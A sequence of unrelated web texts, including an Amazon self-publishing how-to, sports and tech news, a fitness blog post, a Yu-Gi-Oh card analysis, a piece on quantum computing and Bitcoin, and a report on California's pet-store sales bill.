There’s a couple different places you can go to get covers created. The first one, I’ll start off with the cheapest option, would be a place called fiverr.com. There you can get a cover made for $5 – $20. They’re all going to be decent quality, but they’re not going to be the greatest. If you’re just starting out, you know, it’s not a bad idea. Definitely go there and you can at least get some ideas.
(Click Here to Go to Fiverr.com)
The second place would be upwork.com or freelancer.com. For these you’re going to have to actually hire somebody. You’re going to put out a job description, interview people and then hire them, but it’s pretty simple once you get on there. You can get a cover, a great cover, actually, made for as little as $20. If you really want to go above and beyond, you can spend $50 – $100 on there for a cover. In my experience, personally, I spend $25 – $30 a cover, and they come out excellent. Better than a lot of covers I see online, actually.
(Click Here to Go to Freelancer.com)
(Click Here to Go to Upwork.com)
The last option for creating your cover will be a place called 99Designs. The thing about 99Designs that’s really cool is that 99 or 100 or 150 different designers will actually create a design and compete for your business. They’ll create all these designs, and you get to pick through them all and choose and see which one’s the best. You can even have people vote on them. Then, after you’re done picking them all, you pay the final winner of your choosing. This is a little more expensive than the other two options I mentioned. It starts at $199 but it’s worth it in the end if you really, really want a good cover because you’re get tons of different designs from a bunch of different people.
Step Three – Writing the Book
Okay, so now on to the actual creation of the book. For this method of how to publish a book, I’m talking about amazon.com. Amazon will accept all sorts of different manuscripts. Everything from PDFs to Word document files to, you know, actual EPUB formatted files and a bunch more. I think the easiest way is to use Microsoft Word and to just format the files using that.
Anyway, you’re going to want to create a book. The minimum publishing length for a book is 26 pages, I believe. Maybe 25 pages which is either way, it’s about 5,000 words. If you write a book, it’s 5,000 words in length. That’s all you need. Granted, that’s short. You might want to have a little bit longer of a book. I recommend at least 10,000 to 15,000 words which would be around 50 pages to 75 pages. You know, as a minimum length, that’s what I do as a minimum for my books. If you can go longer, that’s great. But you don’t want to go too long either.
Anything over 40,000 words, you’re getting a bit too long unless you have a very, very interesting book. You know, you’re asking people to read for hours, especially if it’s non-fiction. Most non-fiction people want to read their book quick and want to get a couple hours in and know what they want to know, what they’re looking for. You can either write the book yourself or you can go on another website like freelancer.com, upwork.com. I would recommend Upwork. You can put out another job posting and hire somebody specifically to write the book for you. Like I said, if you’re your own author, you can just write the book yourself. That’s totally fine.
Another place you can go to is companies that specifically specialize in content writing. You can hire them, so like article writing companies and so on. A lot of them will do books for you too. I’m not going to say specific names of companies because I don’t personally use them, but you can always go to Google and just type in, “Article writing companies,” and a bunch will come up.
Step Four – Formatting the Book
The fourth step on how to publish a book is formatting. Once you have the book written, and it’s longer than 5,000 words, what you want to do is format it.
Like I said earlier, I use Microsoft Word for this, so you just go into Microsoft Word. There’s some specifications that you need to make it, you need to format it with. Amazon’s a little bit strict on formatting, so if you make errors, they’re going to warn you about them or flag your book or potentially pause it from sales until you can fix the errors if they find them.
The gist of it is pretty simple. You need a title page, you need a copyright page and you need a table of contents that’s clickable. Then, you need chapters in order. One, two, three, four, five. They don’t need to be listed as chapter one, chapter two, chapter three. It can be just names and words, but the table of contents needs to match the chapters. It needs to go in order. There’s formatting tools in Microsoft Word for that. A quick YouTube search for videos, you can find a ton of easy ways to do it.
I’ll also be creating a couple videos on it, so subscribe for that or view my blog. Basically, you want to normalize all the text. It’s just a formatting button. You just highlight all the text. Click normalize.
Then you want to highlight the chapter titles and click “Heading 1”
Anyways, once you’re done with that, you can save it as .docx or .doc. Just a basic Word document file. Once you have your title, you have your cover made, you have your manuscript or your document and it’s formatted correctly, the next thing that you need to do is actually publish the book.
Step Five – Publishing Your Book
All you have to do is go to kdp.amazon.com. Create an account if you don’t have one. It will ask you to fill in some legal information like your social security number, your address, your bank account info so they can pay you.
It actually only takes 10, 15 minutes to sign up. Once you’ve signed up, there’s a big button right on one of the main screens after you log in to kdp.amazon.com. It says, “Create a new book.” You click on that. You click on that button, fill in the information, you know, title, subtitle, author, book description, keywords.
Keywords are very important. They’re what people search for, so the keywords that you type in there are the keywords that your book will show up for when people search and what you’ll rank for. We’ll get into that in a whole other video. I could do a whole video on that. After you’ve filled out all the information, upload your cover file, upload your manuscript file, set a price for the book. Then, click publish and that’s it. It’s as simple as that.
KDP or Amazon will put your book on the website. Then, it will start selling. You can run promotions. After that, the only part left to self-publishing is to do promotions and market your book and create followings and just get it out there. Get the word out there and actually sell it. That’s how to publish a book.
Please leave a comment below or let me know if you have any questions. I’d love to hear what you think!
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In a column titled “Bisexual Indian Invokes Demons At White House,” Severo wrote that the man had invoked “homosexual spirits,” thereby infesting the White House with demons that can only be expelled by “people who know and use the authority of Jesus’ name.”
"Younis has informed chief selector Inzamam-ul-Haq that he won't able to play the first Test," a PCB spokesperson told ESPNcricinfo. "The selectors are yet to announce the squad, but its is confirmed that Younis will not take part in the opening game in Dubai. He asked for rest to be fully fit before his national selection since he has recently recovered from dengue."
Last month, the 38-year-old Younis contracted a high fever that was later diagnosed as the mosquito-borne disease dengue, for which he was treated in a Karachi hospital. This forced him to miss the first round of the Quaid-e-Azam Trophy, Pakistan's premier first-class tournament. Doctors have advised Younis to extend his rest for another 10 days. He is expected to be available for the second Test in Abu Dhabi.
Younis last missed a Test match in May 2011 - also against West Indies, coincidentally, in St Kitts - and has since featured in 41 successive matches, scoring 3839 runs in that period, at an average of 59.06. He is now Pakistan's leading run-getter in Tests with 9456 runs at 53.72, and in his last appearance scored 218 against England at The Oval.
You stand across from me in boot camp or on the treadmill next to me or a few bikes over in spin. I have never seen you before, but here you are. I can tell by the look on your face you are embarrassed. Embarrassed that you can’t do a pushup or don’t know how to adjust your bike or that you walk on the treadmill when the girl on the other side of you runs for a full hour at the speed of a cheetah. You look around and wonder what on earth you are doing here. You glance at me and I smile, but you look away pretending you didn’t see, because that would mean I noticed you. Maybe you are discouraged. Maybe you tell yourself this was a huge mistake and you’re going to ask for your money back. Maybe you wonder if I’m judging you.
I am not.
I want you to know how proud I am of you. You see, even though it might not seem like it, none of us are judging you. Why? Because so many of us were just like you. We know what it is like. We know how hard it is, especially in the beginning. Really we do. Maybe you woke up one day weighing forty pounds more than you did five years ago. I have been there. Maybe you stepped on the scale at the doctor’s office, had the nurse cluck her tongue, and then had the doctor say something like, “Now let’s talk about your weight.” I have been there. Maybe you recently had a baby, and you wonder if there will ever be a time when you don’t have to tuck your stomach into your pants. I have been there. Maybe you get half way through the warm up in a group fitness class and wonder if you are this out of breath now, is a full hour going to kill you? I have been there. Maybe money and time are tight and the idea of spending $30-$70 a month and an hour a day on yourself feels awfully selfish. I have been there. So many of us have.
You see us running or biking or lifting weights, and may feel discouraged or that we are judging you. Please, please, PLEASE know that we are not, because so many of us have been in your same shoes. You see us for what we are now, but many of us started out just like you, on a journey to find our best selves.
Please come back. I know it is hard, but it will get better, I promise.
And then you will wake up one day and wonder when you became that person. You know that person who can jog a few miles or do a whole spin class or even do boot camp without being sore the next day. And you will be the one, standing across the room, smiling at the new girl hoping she knows how lovely and wonderful and brave she is. Hoping she knows she is worth all the work. Because you are. You are so worth it. You deserve to be your healthiest self.
Now there might come a time and a place where someone will judge you, even someone at the gym. Maybe they make rude comments or give you that look. Maybe they have never known what it feels like to struggle with their weight. Maybe they have low self-esteem. Maybe they have never eaten an entire pan of brownies by themselves (I have) or an entire bag of Halloween candy before a single trick or treater came to their door (I have). Maybe they forgot what it was like to be the new girl. Please, don’t waste your time on them. You are on a journey to be your best self, and they don’t belong on your journey. Find people and a place where you can begin where you are.
Come back. You are so worth it.
Dear New Girl at the Gym has been a popular post, and I don’t mind having it shared as long as my website is linked back on online articles and my name and website is referenced when printed.
Considering the CONMEBOL region doesn't have it's own Match of the Day highlights package over here, we sometimes miss out on some of the sublime and ridiculous that occurs the other side of the equator (just!) and across the Atlantic.
So, being benevolent folk here at MirrorFootball we mounted our boards and surfed the web for hours to find you the best of this weekend's goals, and to introduce you to some potential new stars from Latin America.
Enjoy.
5) Neymar (Coritiba v SANTOS)
This goal has more than an element of luck to it as the Brazilian tyro benefits from some flimsy tackling and a couple of fortunate ricochets in the build-up, but Neymar's balance and poise to dart through is commendable. The presence of mind and coolness to round the keeper in such a fashion is symbolic of just how confident a player he is, and why wouldn't he be? He's been pulling the pants down of the Brasileirao for years now and is wanted by the biggest clubs in the world.
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4) Osmar Ferreyra (Boca v INDEPENDIENTE)
Technically this is an own goal, and a deflection off a defender from a couple of yards out usually wouldn't make any top 5 lists but the way that Ferreyra jinks past the right half of the Boca defence is brilliant, and merits the resultant goal. Don't expect him to move to Europe soon though, he spent five years at CSKA Moscow, PSV Eindhoven and Dnipro Dnipropetrovsk and only made 39 appearances, so chances are that he might be back home for good.
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3) Lucas Mugni (Tigre v COLÓN)
This kid is pretty special, and looks like he could be the best young playmaker to leave Argentina since Erik Lamela in 2011 (coincidentally he scored a pretty sweet goal for Roma this weekend) when his time eventually comes to move on. He will no doubt learn a lot with Gabriel Batistuta as the club's general manager and Roberto Sensini as boss, and given the connections (and multiple Serie A titles) of those two it wouldn't be a surprise to see him eventually move to Italy. This goal showed his all-round strength, and sets him apart from most Argentine '10's in the way that he tracks back and wins the ball off an opponent before driving towards goal, leaving defenders in his wake before he drills it in the bottom corner. Lovely.
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2) Diego Giaretta (Fluminense v ATLETICO GOIANIENSE)
There are a couple of things that you should really enjoy about this goal. The first is that it was for the underdog, playing against the Rio de Janeiro giant that is Fluminense in a bottom against top clash. Secondly, you should love the fact that he hits an ABSOLUTE RIPSNORTER while taking people by surprise. It's a strike of the ball as clean as some JIF-polished marbles that were accidentally dropped in the Dettol and nearly takes the net off.
Commentary's not bad either.
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1) Adryan (FLAMENGO v Gremio)
We've
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on these pages and he is one talented kiddo. Now playing more regularly for Flamengo, he is a player that is growing in confidence to go with his sublime touch and awareness - on top of all the other things he does really well. That confidence is very important in a young player, and we've included the full-length clip here just so you can see him: a) involved in the build-up, b) having the temerity to wrestle the ball of experienced striker Vagner Love and, c) curling a phenomenal set-piece into the top corner. SEE YA!
P.S.
An honourable mention also goes to Juan Sanchez Miño for this goal as he wins the ball back and charges forward before rifling home for Boca Juniors. The youngster is tipped to be Argentina's left-back in the coming years, perhaps even in time for Brazil 2014
The new dual-core chips belong to AMD's Neo family of processors for thin and light laptops -- also called ultrathin laptops -- which are priced competitively between US$599 and $999. HP is offering the chips in its new Pavilion DV2Z ultrathin laptop, which was officially released on Wednesday.
The AMD Athlon Neo X2 L335 dual-core processor runs at 1.6GHz and has 512KB of cache. The other chip belongs to the Turion line of chips, which are also offered for mainstream laptops. The Turion Neo X2 L625 processor runs at 1.6GHz and includes 1MB of L2 cache.
Both low-power chips are designed to deliver a "balanced performance" in laptops, according to HP's Web site. The DV2Z laptop will offer more processing power and graphics capabilities than its predecessor, the Pavilion DV2, which was launched in January.
AMD puts thin and light laptops like the DV2Z in a category of PCs called "ultrathin" laptops, which provide PC functionality at affordable prices without compromising on features. AMD contends that netbooks, though cheap, provide limited functionality, while ultraportables are too expensive, with prices above $1,500.
The dual-core chips are an upgrade from AMD's first Neo chip, the single-core Athlon Neo MV-40 processor, which was announced in January. The new chips offer close to double the processing performance of their predecessor, AMD executives have said in the past. The Neo chips could face competition from Intel's low-power processors for ultrathin laptops, which are being used by PC makers like Lenovo and MSI.
The new chips get a performance edge from two processing cores that enable quicker application performance. For example, one processing core can run a word-processing application, with the second core running an antivirus scan in the background. With the single-core Neo chip, both applications would be lumped in a single core, which could slow down system performance.
But the additional core also means consumers are paying higher prices for the laptops. A base configuration of HP's DV2Z with a single-core Neo is priced at $625. The price with dual-core chips goes over $700.
The laptop has a 12.1-inch screen and weighs around 3.81 pounds (1.7 kilograms). HP projects a five-hour battery life on a single charge. That is lower than netbooks, which have been known to offer between six and seven hours of battery life due to lower-power processors and smaller screen sizes.
Users will get stronger graphics with discrete or integrated ATI graphics capabilities. AMD claims faster decoding of high-definition content and a better overall multimedia experience than traditional netbooks.
HP provides up to 500GB of storage and an optical drive like Blu-ray. Orders can be placed at HP's Web site, but the company didn't provide an actual ship date. The laptop will come preloaded with Microsoft's Windows Vista OS.
Though better than netbooks, the DV2Z does not include fancy features found in the ultraportable laptops like Dell's Adamo or Apple's MacBook Air. Ultraportable laptops include expensive bells and whistles like solid-state drive storage and processors with higher speeds and cache.
Delhi police probing suicide of student of Jawarharlal Nehru University (JNU), J. Muthukrishnan has found that deceased was not well since last 15 days. According to a police official, during investigation, it has been found that Muthukrishnan was not replying to his friends since last two weeks. He also posted a Facebook status saying ‘RIB’ rest in bed claiming that he is not well. Cops are also claiming that it might be possible that he had planned his suicide few days back. According to the police, so far they have not found any foul play but they are questioning male and female friends of Muthukrishnan.
New Indian Express also talked to one of his hostel mate, he said that Muthukrishnan played holi and was asking cloths to wear to play holi. “I met him on Monday, he was looking very much normal. He also asked pants to other hostel mates to play holi. But I don’t know what when wrong in two hours because of which he committed suicide. Police is trying to make this a clear case of suicide but it is not that simple. There were no close friends of him but a person who was so active on social media writing did not leave any suicide not behind is something that is suspicious” said Sunny Diman, who lives in Jhelum hostel, also NSUI incharge JNU said. Earlier to this, Muthukrishnan on 27th February wrote that he is not well. “Feeling sick, RIB, resting in bed,” Muthukrishnan wrote.
Cops are claiming that Muthukrishnan didn’t tell anything to two northeastern students and just told them that he is not well on Monday. “during investigation, two students who were also residing in same flat where Muthukrishnan committed suicide told that when he came to their room, he just said that he is not well and went to another room. When two students finished cooking food knocked the door. When he didn’t open the door they presumed that he might have slept,” a police official said. So far, postmortem has not been done as cops is planning to request for a medical board to conduct the postmortem of Muthukrishnan.
“There is no equality in M.phil/PhD admission, there is no equality in viva-voce, there is only denial of equality, denying prof Sukhadeo Thorat recommendation, denying students protests places in Ad-block, denying education of the marginal,” Krish allegedly wrote on 10th March in his last Facebook post.
Meanwhile, student leaders of various students’ political wing have started blaming each other over the issue. Reacting on the issue, Shehla Rashid, former Vice president, JNU students’ union tweeted “JNU VC recently moved court against protesting students & the HC banned protests at Admin block, to which Rajini refers in his last post L.”
Sources indicate the Bears have expressed interest in free-agent center Stefen Wisniewski from the Raiders. How serious the team is at this point isn’t known. Free agency opens at 3 p.m. Tuesday, but teams and agents can do everything but put a player’s name on a contract at this point, so deals are being completed throughout the league.
Rodney Hudson set the bar high for the position Monday morning. CBS Sports reported he agreed to a $44.5 million, five-year contract to switch teams in the AFC West and move from the Chiefs to the Raiders, where he will effectively replace Wisniewski. Hudson was considered the best center available.
The 6-foot-3, 315-pound Wisniewski was a second-round pick from Penn State in 2011. He has made 61 starts over the past four seasons, playing center for three years after lining up at left guard as a rookie. His father Leo Wisniewski was a nose tackle for the Colts for four seasons and his uncle Steve Wisniewski is one of the best linemen in Raiders history, an eight-time Pro Bowl guard.
Garza was a three-year captain for the Bears before coach Marc Trestman made the decision to go game-by-game with the designation last season. A respected presence in the locker room, Garza turns 36 later this month, making him 10 years older than Wisniewski.
Garza, who has made 145 starts for the Bears since signing as a free agent in 2005, has experience playing both guard positions. It’s unknown how the team would set the depth chart if Wisniewski was signed. There certainly has been speculation that former first-round pick Kyle Long eventually could move to right tackle. However, he’s a two-time Pro Bowl performer at guard and has expressed a desire to remain there, if possible.
Any card that has been forbidden for almost a decade must hold some serious power behind it, right? This week I’m going to evaluate what is surely the most impactful change to the list and analyze Snatch Steal’s worth.
As soon as the list was announced, everyone seemed to be going crazy because the card had been limited. I made a comment stating that my initial impression was that Snatch Steal would not be that good, except in mirror matches, a bold claim against an obviously powerful card. I intentionally didn’t expand on my thoughts and didn’t leave any reasons why I felt that way. Let’s take a jump right in and see if I can convince you that I’m not crazy for thinking such a thing.
Let’s Define “Good”
English isn’t always best suited for conveying our thoughts. “It’s cold” means something different from someone saying it in Minnesota than it would if someone were to say it in Atlanta. Saying something is cold is ambiguous because it’s relative to who says it. This leaves us with a vague idea of cold, even though “cold” has a specific dictionary definition.
Because terms are relative to who is saying them and under what conditions they are saying them, it’s important to define key terms upfront. In this case, I am defining “good” as the equivalent of “ideal.”
If I’m going into a tournament that I’m hoping to win, I want my deck as ideal as possible. Clearly, every card is not good in every scenario. A card may be ideal for a situation, but not for an entire tournament.
Look at Raigeki for example. If I have a field full of monsters or if they have a monster that replaces itself when destroyed like Dante, I don’t want a Raigeki sitting in my hand. I’d rather it be something else. Conversely, if my opponent has a field full of monsters, especially ones that don’t replace themselves, I’d love to see Raigeki!
If you think about the current meta, most monsters in the top decks would replace themselves if they were destroyed by Raigeki. There will undoubtedly be situations where Raigeki would shine, but what is far more likely to be the case is that Raigeki would be underwhelming.
This is what I mean when I say that I find it unlikely that Snatch Steal will be good as well. There are some number of games that Snatch would be excellent and on an individual game level I’d love to see it in those scenarios, but you can’t pick when you’re going to draw it when it’s solid and when you’re going to draw it without much gain. I don’t build my decks to try to win every game. I build my decks to win the most games possible out of 1,000.
When I say that I don’t think Snatch Steal is good, I mean that I don’t think it’s maximizing my chance to win the most possible games of those 1,000 games, not that it’s not capable of outright winning any individual game.
This is an important distinction to make. I can’t even begin to count the number of times I’ve heard someone justify keeping a card in their deck based on the claim “But it wins games.” On an individual level, that’s probably true, but a better approach to deckbuilding is to look at it on a macro level and attempt to optimize your deck based on a card’s projected utility over lots of games, not just one.
What the Argument Is Not
Yes, I understand that Mystical Space Typhoon is not only at 3, but that it is played at 3 in most decks as well. I also understand that Snatch Steal gives the opponents 1000 life points every turn.
I don’t care. At most you’re risking a 1 for 1 trade with your opponent if they have Typhoon. And I, of all people, am certainly not about to sit here and argue the importance of 1000 life points either. I’m not that hypocritical. This is not why I’m arguing against the inclusion of Snatch Steal in most decks. These are relatively minor and almost negligible downsides and if these were the only downsides to the card, I would almost certainly include it almost immediately in any of my decks.
The Argument
Monsters, Spells, and Traps are not very fitting for describing how cards actually work. The core engine of your deck is the most important aspect of any deck. These are any cards that work to advance your game state. It’s the Mermail monsters of a Mermail deck, the Plants and support spells for a Sylvan deck, and so on. You’re trying to get to your end point while your opponent is simultaneously trying to get to theirs. These cards are the ones that will get you there, so naturally they are the most important and most abundant.
As nice as the idea of only using cards to help you reach your end game truly is, defensive cards to stop your opponent from reaching their end game first are vital to a successful deck. Anything from Solemn Warning to Maxx “C” falls into this group.
The engine and defense are far more important groups of cards than any of the others. Ideally, I want every card in my deck to fall into one of these two categories (engine > defense though) with a bomb or two as well.
This is the core reason behind why so many cards that seem good are truly not all that great after all. Snatch Steal will not advance your game (like discarding Gunde for Pike), nor will it provide you defense.
Raigeki, Dark Hole, Call of the Haunted, are prime examples of this same idea. They first two are only taking away from your opponent, not giving to you. Cards that give to you are better than cards that take from your opponent (as a generalization). Call of the Haunted potentially gives to you, but does so only after having provided no benefit the turn you drew it and likely no benefit on your opponent’s turn either as you won’t be able to continue advancing your game.
Snatch Steal may be powerful, but it’s not going to let me work toward my end game (that my deck should accomplish, not the end game of the opponent having 0 life points). It’s also not going to provide me a defensive option to protect the cards that are pushing me forward in the game.
Instead, Snatch is reactive and dependent upon what the opponent does. Defense is the same way in this aspect, which is one of the biggest reasons decks shouldn’t be based around a defensive strategy such as Fire Fist and protecting Bear from attacks.
It doesn’t even matter if it is easy to use in a reactive manner, reactive cards are inherently worse. If I elect to go first and I have a Snatch Steal or any other reactive card in my hand, it can never give me value that first turn. I want to use every resource I have every turn. I’ve got 5 cards available to me going first, my deck is going to work better if it’s able to use all of them than if it’s only able to use a portion of them.
A bomb is what you intend to end the game with. Black-Luster Soldier and Soul Charge are prime examples. You should usually minimize the number of bombs that you play because they often have costs associated with them (banishing a light and dark for BLs or having monsters in grave for Soul Charge) that will lead to inconsistent hands. If a bomb can be used early on or even first turn a good amount of the time, you can run more bombs as they’re more likely to not just sit in your hand like BLS in Burning Abyss might.
Bombs have a similar downside to reactive cards in that they usually cannot be played right away. At first it may seem like Snatch Steal could fit the definition of a bomb in that it enable you to win the game, but bombs are better as proactive cards than reactive cards because they can be played without having to wait for your opponent to do something like put up a monster for you to Snatch or Raigeki. I am free to drop Soul Charge whenever I have monsters that I want to revive, regardless of what my opponent is doing. Usually reactive cards can be at similar power levels as bombs, but bombs almost always deserve inclusion before reactive cards since they are independent of the opponent and therefore less restrictive.
The second part of the argument is that archetypes don’t work well together. X-Sabers work well with other X-Sabers and Burning Abyss work well with other Burning Abyss. They don’t work very well together. If the format has more than a single dominate deck, it’s unlikely that I’m going to be taking an opposing monster that will actually give me any value if we’re not playing a mirror match. If I’m playing Burning Abyss, what am I going to do with their Winda or Carrier?
If we assume little to change about the format as we come into the new year, we can figure out how Snatch interacts with the matchups. Qliphorts can use whatever monster they take in any matchup as a tribute. That’s great for mirror matches, but has little impact in the Shaddoll matchup and doesn’t do much in the way of stopping Fire Lake in the Burning Abyss matchup.
Burning Abyss would love Snatch in a mirror match. Taking Dante with Enemy Controller or Puppet Plant was an effective way of dealing with Dante in mirrors this past format and this is more of the same. Against any other deck, however, your Burning Abyss monsters will die if you have any other monster up, so Snatch will almost never be good outside of the mirror.
Shaddolls struggled dealing with Qliphorts Saqlifice. This gives them an effective out that they can use to overlay with. Conversely, in the mirror, monsters will often be set. It also fits with Shaddolls current “do 8000” game plan, so it seems to be more applicable here than in other matchups.
Given these factors, I’d say that Shaddoll is the most likely candidate to find success with Snatch in the main. Being reactive is still the inherent flaw here, however, even if Shaddolls are able to overcome the archetype flaw. I’m not willing to give a guess about whether or not Qliphort will actually use the card (though I’d argue they should not). Burning Abyss will get the least amount from it and should avoid it in the main deck, but it seems like Snatch will provide an excellent side deck option in the mirror match.
On Hidden Armory
Hidden Armory essentially gives you access to four Snatch Steals in your deck since it can retrieve it from the graveyard. I find two inherent flaws with its viability.
Firstly, I’ve used this article to explain why I have concluded that Snatch Steal is subpar. If I am correct, the ability to run four sub-par cards instead of just 1 subpar card does not sound beneficial.
Secondly, the normal summon condition is too much of a drawback. I’ve found that if multiple decks exist in a format, a good indicator of which one is the best, is the deck with the fewest normal summons. This is because if you have three normal summons in your five card hand, you can still only summon once per turn. That means that you’ve only got two cards to actually do something with after you normal summon. Every additional normal summon is a wasted card for the turn.
Qliphorts heavily rely on their normal summon. Their game plan isn’t just pendulum summoning. It’s equipping a monster with Saqlifice (which can be retrieved off of Hidden Amory, in fairness), tributing for Disk, then pendulum summoning. Shaddolls play normalsummon.dek any time they can’t resolve a Fusion. Burning Abyss are the most likely candidate to get around this as they only have to normal summon Tour Guide and three total normal summons is significantly less than all other decks in the format, but the clause of dying with a monster other than another Burning Abyss keeps Snatch from being a consideration, even if they can afford the normal summon restriction of running four.
I encourage you to apply these concepts to more than just Snatch Steal. They’re difficult to learn. It’s not obvious the costs associated with a card that aren’t things like “Your opponent gains 1000 life points,” but they do exist and being able to identify them will make you a stronger deckuilder. I hope everyone has a happy holiday! Once you’ve decked the halls, get away from all the snow and participate at 2015’s first Circuit Series in sunny Orlando, Florida on January 3 and 4. Until next time, play hard or go home!
Discussion
What happens to cryptography once quantum computers are everywhere? Will it still be possible to keep encrypted systems — like the Bitcoin network — secure?
Also read: The Halving Month Is Here; What Will Happen to the Bitcoin Price?
This week, Google addressed the question with a blog post titled, “Experimenting with Post-Quantum Cryptography,” which looks at how possible computing speeds in the future could compromise encryption, even today.
Quantum computing, long a computer science holy grail, promises to increase processing speeds on data operations exponentially. Rather than coding data into binary bits that must be either “1” or “0,” a quantum computer would theoretically use quantum bits (“qubits”) capable of existing in multiple states at the same time.
While this would have obvious benefits for almost every computer application in existence today — and even future applications — it presents a threat to any program that relies on cryptographic algorithms for protection, such as encrypted messages and bitcoin wallets.
Remember how it used to be OK to have a 5-letter password? Now, it’s advisable to have 20 or more characters, varying between numbers, symbols, and both upper and lowercase letters. This change in the need for password strength happened over time due to the progression of technology at its normal rate. Quantum computing would make simple password security obsolete, its processing power allowing it to crack even the toughest encryption with ease.
Such computers do have their limits, though. A more detailed research paper into the topic is available here.
What Would Quantum Computing do to Bitcoin?
The threat quantum computing poses to Bitcoin has been known and discussed in the community for a long time, to the extent that some old-timers have grown weary of the topic.
Common belief is that Bitcoin’s hashing functions (used in mining) are safe from large advancements in quantum computing, but that the elliptic curve digital signature algorithm (ECDSA) used to secure private keys could be compromised.
This would present a danger to any address containing large amounts of bitcoin, or one that is re-used often and well-known. If disposable addresses are used instead — as most modern wallet software does automatically — quantum computing would be less of a threat, though not a solution to the problem.
However, the arrival of quantum computers won’t constitute the first time Bitcoin has been affected by advancements technology. In his original white paper, Satoshi Nakamoto appeared to envisage mining on desktop CPUs, but users very quickly developed ASIC chips designed to do nothing other than solve Bitcoin’s hashing algorithm.
The Bitcoin protocol has adjusted difficulty accordingly, keeping blocks coming at roughly ten-minute intervals despite the hashing power added by ASICs. The possibility of adapting the Bitcoin network to quantum computing is not as certain, though.
Google’s Take
As Google’s post points out, this is not a threat yet — the experimental quantum computers that exist today contain only a handful of qubits and could not break current cryptographic algorithms. In fact, it is not known whether a larger-scale quantum computer is even possible, despite all the private and public sector research going into the field.
If it does become possible, though, a future quantum computer would be able to retroactively decrypt all of today’s encrypted communications — which is definitely something to think about.
Google is now experimenting with a “post-quantum key-exchange algorithm,” using it to encrypt small amounts of traffic between “bleeding edge” Chrome Canary browsers and Google’s servers. This will be on top of already-existing encryption, since the security of the post-quantum algorithm has not yet been thoroughly tested.
Don’t be Concerned Just Yet
Google’s post-quantum algorithm is called “New Hope,” but it’s just one of many possible solutions to the problem. Google wants to run its experiment with New Hope for under two years, “hopefully [replacing] it with something better” in the future.
In any case, for quantum technology to advance to the level required to break cryptographic algorithms, and for that technology to find its way to the consumer market, is expected to take decades, and that’s even if it proves to be possible.
Think about it — but don’t lose sleep over it. Yet.
Do you worry about advancements in computing technology affecting Bitcoin?
An archive photo
MINSK, 20 February (BelTA) – Belarus is interested in cooperation with the European Union in any area, Chairman of the Bellegprom Concern Nikolai Yefimchik said at B2B Belarus-Belgium 2017 meeting, BelTA has learned.
“We see big prospects in cooperation with Belgium in particular and the European Union in general. We will support ties in any area of activity,” noted Nikolai Yefimchik appointed by the Belarusian government to coordinate the cooperation with Belgium.
He welcomed the EU's decision to scrap the autonomous quotas on the imports of Belarusian textile. “The next thing we will work on is to remove restrictions in the form of export duties. These are plans for the future. If we succeed, we will get additional opportunities for the sale of our goods in Europe and European products here,” the chairman of Bellegprom Concern said.
The major difference between GMNT and the former phrase-based machine translation system (PBMT) is the way it tackles text. In the past, Translate worked with the individual components of sentences, words, and phrases to translate them separately. The new system looks at whole sentences at a time, improving the technology’s accuracy by roughly 60 percent. This means that even languages as distinct as English and Chinese can be translated to a more precise degree.
GMNT is able to achieve these results by simultaneously running data through multiple cores in computer graphic chips. Each processing layer is allowed limited room for error, which means more layers can be running at once to increase the chances of producing more accurate results (you can read Google’s full paper on the technology here).
Google believes neural networks like this one can be used to expand more than just their translation tool. Researchers at Google Brain have used 11,000 novels to improve the technology’s conversational style and help products like the Google App communicate more fluidly with users.
[h/t Fast Company]
Now California could give their cause a huge boost if it becomes the first state in the nation to ban sales of such animals at pet stores.
In the past decade, more than 230 municipalities around the nation have passed bans of varying degrees on sales of dogs and cats raised at for-profit facilities. More than two-thirds of those regulations have come in the past two and half years.
California has more than 33 cities with these ordinances, from South Lake Tahoe in 2009 to Oceanside in 2015, to Los Angeles in 2016, to San Francisco and Sacramento this year.
Most of these rules allow storefronts to sell animals acquired from shelters, rescue groups and nonprofits. In practice, many of the targeted pet-store merchants have gone out of business or been forced to move locations.
Supporters said the bans are a local reaction to breeders, mostly located in the Midwest, who warehouse dogs and cats like livestock. They said too often, animals, especially breeding mothers, are locked in unsanitary and inhumane conditions without proper access to medicine, exercise and contact with people.
“This really started as a local movement,” said Amy Jesse, public policy coordinator for the Humane Society of the United States’ puppy mills campaign. “It was people that didn’t want in their own hometown a pet store supporting puppy mills. They didn’t want semi-trucks driving into their town filled with sick puppies anymore. So they went to their local elected officials and asked them to do something about it.”
Opponents said criticism of breeders is overblown and that if the trend of outlawing commercial breeders continues, consumers won’t have access to popular breeds, which for many have become a staple of American home life.
“Pet stores represent a well-regulated and reliable source for responsibly raised animals, often breeds which are not readily available nearby,” said Mike Bober, president and CEO of the Pet Industry Joint Advisory Council, based in Washington, D.C. “We do think that consumer choice is an important part of this.”
There are roughly 10,000 commercial breeders of dogs and cats in the country, according to a California legislative analysis. Fewer than 2,000 breeding facilities are licensed by the U.S. Department of Agriculture.
If the current bill in Sacramento becomes law, these operations would no longer be allowed to sell to pet stores in California. Instead, storefronts would need to get their dogs, cats and rabbits only from shelters, adoption centers or animal-control agencies.
The proposal is aimed at not only discouraging abusive breeding practices, but also promoting the adoption of shelter animals. In California, it costs taxpayers an estimated $250 million each year to pick up, house and often euthanize unwanted animals, including more than 800,000 dogs, cats and rabbits, according to the same legislative analysis.
“While animals are being bred in the Midwest, often in unsanitary conditions, we’ve got dogs and cats in animal shelters that need a good home,” said Assemblyman Patrick O'Donnell, D-Long Beach, the main author of the legislation — Assembly Bill 485.
The legislation recently sailed through the Assembly and is now in the Senate. Gov. Jerry Brown hasn’t taken a public stand on the bill, and he declined to comment for this story.
In the bill’s current wording, individuals could still purchase animals through local breeders, the internet and other private sales.
Animal-rights activists routinely distinguish between large commercial breeders and smaller operations. Hobby breeders, who often also show dogs professionally, have garnered a reputation as an acceptable, albeit pricey, source of purebred dogs.
Critics of the legislation in California have argued that it’s hard for many consumers to distinguish between such boutique operations and so-called backyard breeders willing to compromise standards of care to maximize profits.
Restrictions on pet stores, they said, only boost black-market sales of desirable breeds, especially through questionable transactions on websites such as Craigslist.
“We think it will lead to abuse of the process and lead people to online sources, and that would be a bad thing,” said Bill Dombrowski, president and CEO of the Sacramento-based California Retailers Association.
Rather than outlawing the use of commercially bred dogs and cats, he said he would like to improve regulations for licensed breeding facilities.
While the trade group doesn’t represent pet stores that sell commercially bred puppies or kittens, it does have members that sell pet food and various accessories, such as Petco and PetSmart.
“We don’t think it’s good public policy,” Dombrowski said. “There’s work being done, and we’re hopeful we can get some better standards adopted.”
